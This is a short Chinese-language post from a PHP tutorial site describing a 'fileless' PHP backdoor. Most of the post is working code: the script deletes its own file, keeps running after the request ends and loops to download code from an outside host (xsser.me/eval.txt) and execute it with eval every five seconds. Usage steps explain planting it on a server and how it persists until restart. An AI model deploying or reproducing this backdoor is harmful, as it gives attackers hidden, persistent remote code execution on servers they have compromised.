来源：自学PHP网 时间：2015-04-17 10:16 作者： 阅读:次
[导读] PHP 无文件后门的意思是驻在 php 后台中的 shell。nonshell php?phpunlink($_SERVER[ 39;SCRIPT_FILENAME 39;]);ignore_user_abort(true);set_time_limit(0);$remote_file = 39;http: xsser me eval...
|
PHP 无文件后门的意思是驻在 php 后台中的 shell。
nonshell.php
<?php
unlink($_SERVER['SCRIPT_FILENAME']);
ignore_user_abort(true);
set_time_limit(0);
$remote_file = 'http://xsser.me/eval.txt';
while($code = file_get_contents($remote_file)){
@eval($code);
sleep(5);
};
?>
eval.txt
file_put_contents('1.txt','hello world '.time());
使用方式
将 nonshell.php 传到服务器之后访问一次他会自删除。但，依然会在后台执行 eval.txt 中的代码。
停止执行
删除或清空 eval.txt。
缺点
服务器或WEB容器一重启后门就没了。
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习，以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明：本站所有视频，教程都由网友上传，站长收集和分享给大家学习使用，如由牵扯版权问题请联系站长邮箱904561283@qq.com
